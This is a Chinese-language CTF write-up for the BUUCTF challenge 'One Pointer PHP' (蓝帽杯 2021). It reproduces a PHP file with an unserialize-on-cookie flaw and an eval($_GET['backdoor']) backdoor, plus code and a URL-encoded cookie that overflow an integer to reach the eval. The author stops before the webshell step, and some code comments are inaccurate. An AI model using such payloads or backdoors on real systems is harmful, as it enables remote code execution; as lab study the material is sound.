100 ,【8】 buuctf web [蓝帽杯 2021]One Pointer PHP(别看)

进入靶场

没提示,去看源代码。

user.php

php 复制代码
<?php
// 定义一个名为 User 的类,该类可用于表示用户相关信息或执行与用户有关的操作
class User{
    // 声明一个公共属性 $count,可在类的内部和外部直接访问
    // 这个属性可能用于记录与用户相关的某种数量,比如用户的操作次数、用户拥有的物品数量等
    public $count;
}
?>

add_api.php

php 复制代码
<?php
// 包含 "user.php" 文件,该文件中可能定义了 User 类或其他相关代码
// 包含文件后,当前脚本就可以使用该文件中定义的类、函数、变量等
include "user.php";

// 从 $_COOKIE 超全局数组中获取名为 "data" 的 cookie 值,并尝试对其进行反序列化操作
// 反序列化操作会将存储在 cookie 中的序列化对象恢复为 PHP 对象
// 如果反序列化成功,将结果赋值给 $user 变量,并进入 if 语句块
if($user = unserialize($_COOKIE["data"])){
    // 对 $user 对象的 count 属性进行自增操作,然后将 $count 数组的对应索引位置赋值为 1
    // 例如,如果 $user->count 初始值为 1,自增后为 2,那么 $count[2] = 1
    $count[++$user->count] = 1;

    // 这里存在语法错误,正确的应该是 if ($count[] = 1) 这种写法不符合正常逻辑
    // 可能本意是检查某个条件,但这样的赋值操作结果总是为 1(在 PHP 中赋值表达式的值为所赋的值),条件恒为真
    // 暂且按代码逻辑理解,若这个条件成立
    if($count[] = 1){
        // 将 $user 对象的 count 属性再加 1
        $user->count += 1;
        // 将更新后的 $user 对象进行序列化操作,将其转换为字符串形式
        // 然后使用 setcookie 函数将序列化后的字符串存储到名为 "data" 的 cookie 中
        setcookie("data", serialize($user));
    } else {
        // 如果上述条件不成立(实际上由于赋值操作,这里永远不会执行)
        // 使用 eval 函数执行从 GET 请求中获取的名为 "backdoor" 的参数值
        // 这是非常危险的操作,因为用户可以通过 GET 请求传入恶意代码,从而导致任意代码执行漏洞
        eval($_GET["backdoor"]);
    }
} else {
    // 如果反序列化失败,说明 cookie 中存储的数据不是有效的序列化对象或者 cookie 不存在
    // 创建一个新的 User 类的实例
    $user = new User;
    // 将新创建的 $user 对象的 count 属性初始化为 1
    $user->count = 1;
    // 将新创建的 $user 对象进行序列化操作,然后存储到名为 "data" 的 cookie 中
    setcookie("data", serialize($user));
}
?>

如下代码

给与了我们进行任意代码执行漏洞的条件

即设置count为9223372036854775806

php 复制代码
<?php
    class User
    {
        public $count=9223372036854775806;
    }
    echo serialize(new User);
?>
复制代码
O:4:"User":1:{s:5:"count";i:9223372036854775806;} 

忘记进行url编码了

php 复制代码
<?php

class User{
	public $count=9223372036854775806;
}
echo urlencode(serialize(new User()));
?>

cookie 添加为以下内容

data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D

大概这样改cookie

到这块就需要蚁剑连接了,我的蚁剑有问题,最近还没好

先帝创业未半而开局崩殂

相关推荐
喜欢吃燃面13 小时前
C++:哈希表
开发语言·c++·学习
mit6.82413 小时前
[C++] 时间处理库函数 | `tm`、`mktime` 和 `localtime`
开发语言·c++
SweetCode13 小时前
C++ 大数乘法
开发语言·c++
listhi52013 小时前
基于空时阵列最佳旋转角度的卫星导航抗干扰信号处理的完整MATLAB仿真
开发语言·matlab·信号处理
007php00713 小时前
某游戏互联网大厂Java面试深度解析:Java基础与性能优化(一)
java·数据库·面试·职场和发展·性能优化·golang·php
lly20240614 小时前
Kotlin 类和对象
开发语言
是苏浙14 小时前
零基础入门C语言之C语言内存函数
c语言·开发语言
zhmhbest14 小时前
Qt 全球峰会 2025:中国站速递 —— 技术中立,拥抱更大生态
开发语言·qt·系统架构
程序员大雄学编程14 小时前
用Python来学微积分30-微分方程初步
开发语言·python·线性代数·数学·微积分
关于不上作者榜就原神启动那件事14 小时前
模拟算法乒乓球
开发语言·c++·算法